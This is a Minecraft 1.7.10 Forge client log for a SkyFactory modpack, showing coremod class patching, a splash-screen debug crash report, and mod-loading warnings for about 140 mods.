cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:28 PM] [main/INFO] [LaunchWrapper]: Loading tweak class name cpw.mods.fml.common.launcher.TerminalTweaker [16/5/2015 18:45:28 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.common.launcher.TerminalTweaker [16/5/2015 18:45:28 PM] [main/INFO] [LaunchWrapper]: Launching wrapped minecraft {net.minecraft.client.main.Main} [16/5/2015 18:45:29 PM] [main/INFO] [FML]: [OpenBlocks] Trying to patch EntityPlayer.isInBed (class: yz) [16/5/2015 18:45:29 PM] [main/INFO] [FML]: [OpenBlocks] isInBed patch applied. Enabling sleeping bags [16/5/2015 18:45:30 PM] [main/INFO] [AE2-CORE]: func_146977_a(Lnet/minecraft/inventory/Slot;)V - Transformed [16/5/2015 18:45:30 PM] [main/INFO] [AE2-CORE]: func_146977_a_original(Lnet/minecraft/inventory/Slot;)V - New Method [16/5/2015 18:45:30 PM] [main/INFO] [AE2-CORE]: func_146977_a(Lnet/minecraft/inventory/Slot;)V - Invoke Virtual [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Current code is OBFUSCATED [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Found cpw.mods.fml.common.FMLCommonHandler with checksum 9D07ABF40E8390189AB4D1D4CAA86BAB [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in onPreServerTick ()V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in onPostServerTick ()V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in onPreWorldTick (Lahb;)V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in onPostWorldTick (Lahb;)V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Switching injection mode to FORGE [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: [MobiusCore] Found net.minecraft.world.World [ ahb ] with checksum 1259399FD8CF71F9B1835D9BCDD827D9 [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Found World.updateEntities()... [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in h ()V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in h ()V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in h ()V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in h ()V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Found World.<init> (Lazc;Ljava/lang/String;Lahj;Laqo;Lqi;)V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in <init> (Lazc;Ljava/lang/String;Lahj;Laqo;Lqi;)V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in <init> (Lazc;Ljava/lang/String;Lahj;Laqo;Lqi;)V [16/5/2015 18:45:30 PM] [main/INFO] [STDOUT]: [com.rebelkeithy.dualhotbar.DualHotbarTransformer:transform:88]: ********* INSIDE GuiIngameForge TRANSFORMER ABOUT TO PATCH: net.minecraftforge.client.GuiIngameForge [16/5/2015 18:45:30 PM] [main/INFO] [STDOUT]: [com.rebelkeithy.dualhotbar.DualHotbarTransformer:patchShift:200]: In renderToolHightlight [16/5/2015 18:45:31 PM] [main/INFO] [MobiusCore]: [MobiusCore] Found net.minecraft.world.WorldServer [ mt ] with checksum A9B6290BB23DD7A1659115ABB503DDD8 [16/5/2015 18:45:31 PM] [main/INFO] [MobiusCore]: Successful injection in b ()V [16/5/2015 18:45:31 PM] [main/INFO] [MobiusCore]: Successful injection in b ()V [16/5/2015 18:45:32 PM] [main/INFO]: Setting user: **MINECRAFTUSERNAME** [16/5/2015 18:45:33 PM] [main/INFO] [ttCore]: Transforming Class [net.minecraft.entity.projectile.EntityArrow], Method [func_70071_h_] [16/5/2015 18:45:33 PM] [main/INFO] [ttCore]: Transforming net.minecraft.entity.projectile.EntityArrow Finished. [16/5/2015 18:45:33 PM] [main/INFO] [ttCore]: Transforming Class [net.minecraft.item.ItemStack], Method [func_77953_t] [16/5/2015 18:45:33 PM] [main/INFO] [ttCore]: Transforming net.minecraft.item.ItemStack Finished. [16/5/2015 18:45:34 PM] [main/INFO] [FML]: InvTweaks: net.minecraft.inventory.Container [16/5/2015 18:45:34 PM] [main/INFO] [FML]: InvTweaks: net.minecraft.inventory.ContainerFurnace [16/5/2015 18:45:34 PM] [main/INFO] [ttCore]: Transforming Class [net.minecraft.inventory.ContainerFurnace], Method [func_82846_b] [16/5/2015 18:45:34 PM] [main/INFO] [ttCore]: Transforming net.minecraft.inventory.ContainerFurnace Finished. [16/5/2015 18:45:34 PM] [Client thread/INFO]: LWJGL Version: 2.9.1 [16/5/2015 18:45:37 PM] [Client thread/WARN] [OpenMods]: openmods.stencil.FramebufferHooks.createRenderbufferStorage(FramebufferHooks.java:24): Your potato failed to allocate nice buffer. No stencils for you. Cause: Invalid enum [16/5/2015 18:45:38 PM] [Client thread/INFO] [STDOUT]: [cpw.mods.fml.client.SplashProgress:start:100]: ---- Minecraft Crash Report ---- [16/5/2015 18:45:38 PM] // Why did you do that? [16/5/2015 18:45:38 PM] [16/5/2015 18:45:38 PM] Time: 5/16/15 6:45 PM [16/5/2015 18:45:38 PM] Description: Loading screen debug info [16/5/2015 18:45:38 PM] [16/5/2015 18:45:38 PM] java.lang.Throwable [16/5/2015 18:45:38 PM] at cpw.mods.fml.client.SplashProgress.start(SplashProgress.java:99) [16/5/2015 18:45:38 PM] at cpw.mods.fml.client.FMLClientHandler.beginMinecraftLoading(FMLClientHandler.java:190) [16/5/2015 18:45:38 PM] at net.minecraft.client.Minecraft.func_71384_a(Minecraft.java:480) [16/5/2015 18:45:38 PM] at net.minecraft.client.Minecraft.func_99999_d(Minecraft.java:878) [16/5/2015 18:45:38 PM] at net.minecraft.client.main.Main.main(SourceFile:148) [16/5/2015 18:45:38 PM] at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) [16/5/2015 18:45:38 PM] at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source) [16/5/2015 18:45:38 PM] at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) [16/5/2015 18:45:38 PM] at java.lang.reflect.Method.invoke(Unknown Source) [16/5/2015 18:45:38 PM] at net.minecraft.launchwrapper.Launch.launch(Launch.java:135) [16/5/2015 18:45:38 PM] at net.minecraft.launchwrapper.Launch.main(Launch.java:28) [16/5/2015 18:45:38 PM] [16/5/2015 18:45:38 PM] [16/5/2015 18:45:38 PM] A detailed walkthrough of the error, its code path and all known details is as follows: [16/5/2015 18:45:38 PM] --------------------------------------------------------------------------------------- [16/5/2015 18:45:38 PM] [16/5/2015 18:45:38 PM] -- System Details -- [16/5/2015 18:45:38 PM] Details: [16/5/2015 18:45:38 PM] Minecraft Version: 1.7.10 [16/5/2015 18:45:38 PM] Operating System: Windows 7 (x86) version 6.1 [16/5/2015 18:45:38 PM] Java Version: 1.8.0_45, Oracle Corporation [16/5/2015 18:45:38 PM] Java VM Version: Java HotSpot(TM) Client VM (mixed mode), Oracle Corporation [16/5/2015 18:45:38 PM] Memory: 148240816 bytes (141 MB) / 259522560 bytes (247 MB) up to 1046937600 bytes (998 MB) [16/5/2015 18:45:38 PM] JVM Flags: 8 total; -XX:HeapDumpPath=MojangTricksIntelDriversForPerformance_javaw.exe_minecraft.exe.heapdump -XX:-OmitStackTraceInFastThrow -XX:+UseConcMarkSweepGC -XX:+CMSIncrementalMode -XX:-UseAdaptiveSizePolicy -Xms256M -Xmx1024M -XX:MetaspaceSize=128M [16/5/2015 18:45:38 PM] AABB Pool Size: 0 (0 bytes; 0 MB) allocated, 0 (0 bytes; 0 MB) used [16/5/2015 18:45:38 PM] IntCache: cache: 0, tcache: 0, allocated: 0, tallocated: 0 [16/5/2015 18:45:38 PM] FML: [16/5/2015 18:45:38 PM] GL info: ' Vendor: 'Intel' Version: '2.1.0 - Build 8.15.10.2086' Renderer: 'Intel(R) HD Graphics' [16/5/2015 18:45:38 PM] [Client thread/INFO] [MinecraftForge]: Attempting early MinecraftForge initialization [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: MinecraftForge v10.13.3.1395 Initialized [16/5/2015 18:45:38 PM] [18:45:38] [Thread-7/INFO] [FML]: loc: minecraft:textures/font/ascii.png, i: 0, j: 0, size: 128, width: 128, height: 128 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: Replaced 183 ore recipies [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: Preloading CrashReport classes [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.World$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.World$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.World$3 [16/5/2015 18:45:38 PM] [18:45:38] [Thread-7/INFO] [FML]: loc: minecraft:textures/gui/title/mojang.png, i: 0, j: 0, size: 256, width: 256, height: 256 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.World$4 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.chunk.Chunk$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.crash.CrashReportCategory$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.crash.CrashReportCategory$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.crash.CrashReportCategory$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.entity.Entity$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.entity.Entity$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.entity.EntityTracker$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.gen.layer.GenLayer$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.gen.layer.GenLayer$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.entity.player.InventoryPlayer$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.gen.structure.MapGenStructure$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.gen.structure.MapGenStructure$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.gen.structure.MapGenStructure$3 [16/5/2015 18:45:38 PM] [18:45:38] [Thread-7/INFO] [FML]: loc: fml:textures/gui/forge.png, i: 0, j: 0, size: 128, width: 128, height: 128 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.server.MinecraftServer$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.server.MinecraftServer$4 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.server.MinecraftServer$5 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.nbt.NBTTagCompound$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.nbt.NBTTagCompound$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.network.NetHandlerPlayServer$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.network.NetworkSystem$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.tileentity.TileEntity$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.tileentity.TileEntity$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.tileentity.TileEntity$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$4 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$5 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$6 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$7 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$8 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$9 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$4 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$5 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$6 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$7 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$8 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$9 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$10 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$11 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$12 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$13 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$14 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$15 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.multiplayer.WorldClient$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.multiplayer.WorldClient$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.multiplayer.WorldClient$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.multiplayer.WorldClient$4 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.particle,EffectRenderer$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.particle,EffectRenderer$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.particle,EffectRenderer$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.particle,EffectRenderer$4 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.EntityRenderer$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.EntityRenderer$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.EntityRenderer$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.server.integrated.IntegratedServer$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.server.integrated.IntegratedServer$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.RenderGlobal$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.entity.RenderItem$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.entity.RenderItem$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.entity.RenderItem$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.entity.RenderItem$4 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.texture.TextureAtlasSprite$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.texture.TextureManager$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.texture.TextureMap$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.texture.TextureMap$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.texture.TextureMap$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [MinecraftForge]: Completed early MinecraftForge initialization [16/5/2015 18:45:38 PM] [Client thread/WARN] [FML]: Enabling removal of erroring Entities - USE AT YOUR OWN RISK [16/5/2015 18:45:38 PM] [Client thread/WARN] [FML]: Enabling removal of erroring Tile Entities - USE AT YOUR OWN RISK [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: [AppEng] Core Init [16/5/2015 18:45:39 PM] [Client thread/INFO] [FML]: Found 0 mods from the command line. Injecting into mod discoverer [16/5/2015 18:45:39 PM] [Client thread/INFO] [FML]: Searching **USERSDIR**\Instances\SkyFactory\mods for mods [16/5/2015 18:45:39 PM] [Client thread/INFO] [FML]: Also searching **USERSDIR**\Instances\SkyFactory\mods\1.7.10 for mods [16/5/2015 18:45:48 PM] [Client thread/WARN] [DamageIndicatorsMod]: Mod DamageIndicatorsMod is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 3.2.3 [16/5/2015 18:45:53 PM] [Client thread/WARN] [ChickenChunks]: Mod ChickenChunks is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.3.4.19 [16/5/2015 18:45:54 PM] [Client thread/WARN] [DragonMounts]: Mod DragonMounts is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version r41-1.7.10 [16/5/2015 18:45:55 PM] [Client thread/WARN] [EnderStorage]: Mod EnderStorage is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.4.7.32 [16/5/2015 18:45:57 PM] [Client thread/WARN] [ExtraUtilities]: Mod ExtraUtilities is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.2.4a [16/5/2015 18:45:58 PM] [Client thread/WARN] [ForbiddenMagic]: Mod ForbiddenMagic is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.7.10-0.562 [16/5/2015 18:46:01 PM] [Client thread/WARN] [neiintegration]: Mod neiintegration is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.0.8 [16/5/2015 18:46:04 PM] [Client thread/WARN] [simplyjetpacks]: Mod simplyjetpacks is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.4.1 [16/5/2015 18:46:08 PM] [Client thread/WARN] [Translocator]: Mod Translocator is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.1.1.14 [16/5/2015 18:46:11 PM] [Client thread/WARN] [WR-CBE|Core]: Mod WR-CBE|Core is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.4.1.9 [16/5/2015 18:46:11 PM] [Client thread/WARN] [WR-CBE|Addons]: Mod WR-CBE|Addons is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.4.1.9 [16/5/2015 18:46:12 PM] [Client thread/WARN] [WR-CBE|Logic]: Mod WR-CBE|Logic is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.4.1.9 [16/5/2015 18:46:13 PM] [Client thread/WARN] [ForgeMicroblock]: Mod ForgeMicroblock is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.1.2.332 [16/5/2015 18:46:14 PM] [Client thread/WARN] [ForgeMultipart]: Mod ForgeMultipart is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.1.2.332 [16/5/2015 18:46:14 PM] [Client thread/WARN] [McMultipart]: Mod McMultipart is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.1.2.332 [16/5/2015 18:46:14 PM] [Client thread/INFO] [FML]: Forge Mod Loader has identified 140 mods to load [16/5/2015 18:46:14 PM] [Client thread/INFO] [FML]: Found mod(s) [exastris] containing declared API package cofh.api.energy (owned by CoFHAPI) without associated API reference [16/5/2015 18:46:14 PM] [Client thread/INFO] [FML]: Found mod(s) [ExtraUtilities] containing declared API package baubles.api (owned by Baubles) without associated API reference [16/5/2015 18:46:14 PM] [Client thread/INFO] [FML]: Found mod(s) [FoodPlus] containing declared API package thaumcraft.api (owned by Thaumcraft) without associated API reference [16/5/2015 18:46:14 PM] [Client thread/INFO] [FML]: Found mod(s) [EnderIO] containing declared API package com.cricketcraft.chisel.api (owned by Chisel) without associated API reference [16/5/2015 18:46:14 PM] [Client thread/INFO] [FML]: Found mod(s) [simplyjetpacks] containing declared API package cofh.api (owned by CoFHLib) without associated API reference [16/5/2015 18:46:18 PM] [Client thread/INFO] [FML]: FML has found a non-mod file CodeChickenLib-1.7.10-1.1.3.134-universal.jar in your mods directory. It will now be injected into your classpath. This could severe stability issues, it should be removed if possible. [16/5/2015 18:46:23 PM] [Client thread/INFO] [FML]: Attempting connection with missing mods [mcp, FML, Forge, appliedenergistics2-core, CodeChickenCore, MobiusCore, NotEnoughItems, VeinMiner_coremod, OpenModsCore, <CoFH ASM>, lucky, furnace3d, ArmorStatusHUD, DamageIndicatorsMod, StartingInventory, appliedenergistics2, AutoFood, Automagy, autopackager, BiblioCraft, BiblioWoodsNatura, BigReactors, Botania, CarpentersBlocks, ChickenChunks, chisel, CoFHCore, ComputerCraft, CosmeticArmor, props, DraconicEvolution, DragonMounts, dualhotbar, Emotes, EnderIO, EnderStorage, EnderTech, enderutilities, exastris, exnihilo, extracells, ExtraTiC, ExtraUtilities, FoodPlus, ForbiddenMagic, foxlib, GregsLighting, Hats, HatStand, headcrumbs, iChunUtil, IguanaTweaksTConstruct, ImmibisCore, inventorytweaks, IronChest, ItsRainingFood, JABBA, LiquidXP, lootbags, LunatriusCore, magicalcrops, Mantle, mfrmagiccropscompat, MineFactoryReloaded, MineFactoryReloaded|CompatAppliedEnergistics, MineFactoryReloaded|CompatAtum, MineFactoryReloaded|CompatBackTools, MineFactoryReloaded|CompatBuildCraft, MineFactoryReloaded|CompatChococraft, MineFactoryReloaded|CompatExtraBiomes, MineFactoryReloaded|CompatForestry, MineFactoryReloaded|CompatForgeMicroblock, MineFactoryReloaded|CompatIC2, MineFactoryReloaded|CompatMystcraft, MineFactoryReloaded|CompatProjRed, MineFactoryReloaded|CompatRailcraft, MineFactoryReloaded|CompatSufficientBiomes, MineFactoryReloaded|CompatThaumcraft, MineFactoryReloaded|CompatThermalExpansion, MineFactoryReloaded|CompatTConstruct, MineFactoryReloaded|CompatTwilightForest, MineFactoryReloaded|CompatVanilla, MooFluids, moreplayermodels, Morpheus, Natura, NEIAddons, NEIAddons|Botany, NEIAddons|Forestry, NEIAddons|CraftingTables, NEIAddons|ExNihilo, neiintegration, OpenBlocks, OpenMods, OpenPeripheral, OpenPeripheralCore, OpenPeripheralIntegration, PluginMessages, RanchableFluidCows, RedLogic, RedstoneArsenal, xreliquary, rftools, SimpleAchievements, simplyjetpacks, slabcraftmod, SolarFlux, staircraftmod, Sync, TabulaRasa, Tails, TConstruct, Thaumcraft, thaumcraftneiplugin, thaumicenergistics, ThermalCasting, ThermalDynamics, ThermalExpansion, ThermalFoundation, Translocator, treeGrowingSimulator, ttCore, UtilityMobs, VeinMiner, VeinMinerModSupport, Waila, WailaHarvestability, WailaNBT, wawla, witchery, WR-CBE|Core, WR-CBE|Addons, WR-CBE|Logic, YUNoMakeGoodMap, bspkrsCore, Baubles, ForgeMicroblock, ForgeMultipart, McMultipart, libsandstone] at CLIENT [16/5/2015 18:46:23 PM] [Client thread/INFO] [FML]: Attempting connection with missing mods [mcp, FML, Forge, appliedenergistics2-core, CodeChickenCore, MobiusCore, NotEnoughItems, VeinMiner_coremod, OpenModsCore, <CoFH ASM>, lucky, furnace3d, ArmorStatusHUD, DamageIndicatorsMod, StartingInventory, appliedenergistics2, AutoFood, Automagy, autopackager, BiblioCraft, BiblioWoodsNatura, BigReactors, Botania, CarpentersBlocks, ChickenChunks, chisel, CoFHCore, ComputerCraft, CosmeticArmor, props, DraconicEvolution, DragonMounts, dualhotbar, Emotes, EnderIO, EnderStorage, EnderTech, enderutilities, exastris, exnihilo, extracells, ExtraTiC, ExtraUtilities, FoodPlus, ForbiddenMagic, foxlib, GregsLighting, Hats, HatStand, headcrumbs, iChunUtil, IguanaTweaksTConstruct, ImmibisCore, inventorytweaks, IronChest, ItsRainingFood, JABBA, LiquidXP, lootbags, LunatriusCore, magicalcrops, Mantle, mfrmagiccropscompat, MineFactoryReloaded, MineFactoryReloaded|CompatAppliedEnergistics, MineFactoryReloaded|CompatAtum, MineFactoryReloaded|CompatBackTools, MineFactoryReloaded|CompatBuildCraft, MineFactoryReloaded|CompatChococraft, MineFactoryReloaded|CompatExtraBiomes, MineFactoryReloaded|CompatForestry, MineFactoryReloaded|CompatForgeMicroblock, MineFactoryReloaded|CompatIC2, MineFactoryReloaded|CompatMystcraft, MineFactoryReloaded|CompatProjRed, MineFactoryReloaded|CompatRailcraft, MineFactoryReloaded|CompatSufficientBiomes, MineFactoryReloaded|CompatThaumcraft, MineFactoryReloaded|CompatThermalExpansion, MineFactoryReloaded|CompatTConstruct, MineFactoryReloaded|CompatTwilightForest, MineFactoryReloaded|CompatVanilla, MooFluids, moreplayermodels, Morpheus, Natura, NEIAddons, NEIAddons|Botany, NEIAddons|Forestry, NEIAddons|CraftingTables, NEIAddons|ExNihilo, neiintegration, OpenBlocks, OpenMods, OpenPeripheral, OpenPeripheralCore, OpenPeripheralIntegration, PluginMessages, RanchableFluidCows, RedLogic, RedstoneArsenal, xreliquary, rftools, SimpleAchievements, simplyjetpacks, slabcraftmod, SolarFlux, staircraftmod, Sync, TabulaRasa, Tails, TConstruct, Thaumcraft, thaumcraftneiplugin, thaumicenergistics, ThermalCasting, ThermalDynamics, ThermalExpansion, ThermalFoundation, Translocator, treeGrowingSimulator, ttCore, UtilityMobs, VeinMiner, VeinMinerModSupport, Waila, WailaHarvestability, WailaNBT, wawla, witchery, WR-CBE|Core, WR-CBE|Addons, WR-CBE|Logic, YUNoMakeGoodMap, bspkrsCore, Baubles, ForgeMicroblock, ForgeMultipart, McMultipart, libsandstone] at SERVER [16/5/2015 18:46:24 PM] [Client thread/INFO] [MobiusCore]: Found cpw.mods.fml.common.network.FMLOutboundHandler with checksum CB55471D614BD5AF06AEA87A77A3014F [16/5/2015 18:46:24 PM] [Client thread/INFO] [MobiusCore]: Successful injection in write (Lio/netty/channel/ChannelHandlerContext;Ljava/lang/Object;Lio/netty/channel/ChannelPromise;)V [16/5/2015 18:46:25 PM] [Client thread/INFO] [MobiusCore]: Found cpw.mods.fml.common.eventhandler.ASMEventHandler with checksum 1C68592318817E7EE853EC874A5ACBF4 [16/5/2015 18:46:25 PM] [Client thread/INFO] [MobiusCore]: Successful injection in <init> (Ljava/lang/Object;Ljava/lang/reflect/Method;Lcpw/mods/fml/common/ModContainer;)V [16/5/2015 18:46:25 PM] [Client thread/INFO] [MobiusCore]: Successful injection in invoke (Lcpw/mods/fml/common/eventhandler/Event;)V [16/5/2015 18:46:25 PM] [Client thread/INFO] [MobiusCore]: Successful injection in invoke (Lcpw/mods/fml/common/eventhandler/Event;)V [16/5/2015 18:46:25 PM] [Client thread/INFO] [STDOUT]: [mods.immibis.core.ImmibisCore:initPreferredEnergySystem:198]: [Immibis Core] Preferred energy system set to: redstoneFlux [16/5/2015 18:46:33 PM] [Client thread/INFO] [Draconic Evolution]: Hello Minecraft!!! [16/5/2015 18:46:33 PM] [Client thread/INFO] [STDOUT]: [com.rebelkeithy.dualhotbar.DualHotbarMod:checkRemote:96]: checking remote [16/5/2015 18:46:33 PM] [Client thread/INFO] [STDOUT]: [com.rebelkeithy.dualhotbar.DualHotbarMod:checkRemote:96]: checking remote [16/5/2015 18:46:36 PM] [Client thread/INFO] [TConstruct]: Natura, what are we going to do tomorrow night? [16/5/2015 18:46:36 PM] [Client thread/INFO] [Natura]: TConstruct, we're going to take over the world! [16/5/2015 18:46:37 PM] [Client thread/INFO] [STDOUT]: [vazkii.emotes.client.asm.ClassTransformer:log:66]: [Emotes][ASM] Starting on net.minecraft.client.model.ModelBiped [16/5/2015 18:46:37 PM] [Client thread/INFO] [STDOUT]: [vazkii.emotes.client.asm.ClassTransformer:log:66]: [Emotes][ASM] Method is func_78087_a or a for obf. [16/5/2015 18:46:37 PM] [Client thread/INFO] [STDOUT]: [vazkii.emotes.client.asm.ClassTransformer:log:66]: [Emotes][ASM] Descriptor is (FFFFFFLnet/minecraft/entity/Entity;)V or (FFFFFFLsa;)V dor obf. [16/5/2015 18:46:37 PM] [Client thread/INFO] [STDOUT]: [vazkii.emotes.client.asm.ClassTransformer:log:66]: [Emotes][ASM] Found method: a (FFFFFFLsa;)V [16/5/2015 18:46:37 PM] [Client thread/INFO] [STDOUT]: [vazkii.emotes.client.asm.ClassTransformer:log:66]: [Emotes][ASM] RETURN Opcode found [16/5/2015 18:46:37 PM] [Client thread/INFO] [STDOUT]: [vazkii.emotes.client.asm.ClassTransformer:log:66]: [Emotes][ASM] Patched! [16/5/2015 18:46:41 PM] GregsLighting: creativeTab = gcewing.lighting.GregsLighting$1@1804f6e [16/5/2015 18:46:44 PM] [Client thread/INFO] [OpenMods]: openperipheral.ApiProvider.installApi(ApiProvider.java:203): OPC API v. 3.2 provideded by OpenPeripheralCore, (ApiAccess source: jar:file:/C:/Users/cr7/Desktop/New%20folder/Instances/SkyFactory/mods/OpenPeripheralCore-1.7.10-1.1.jar!/openperipheral/api/ApiAccess.class) [16/5/2015 18:46:49 PM] [Client thread/INFO] [ttCore]: Transforming Class [net.minecraft.world.WorldType], Method [func_76564_j] 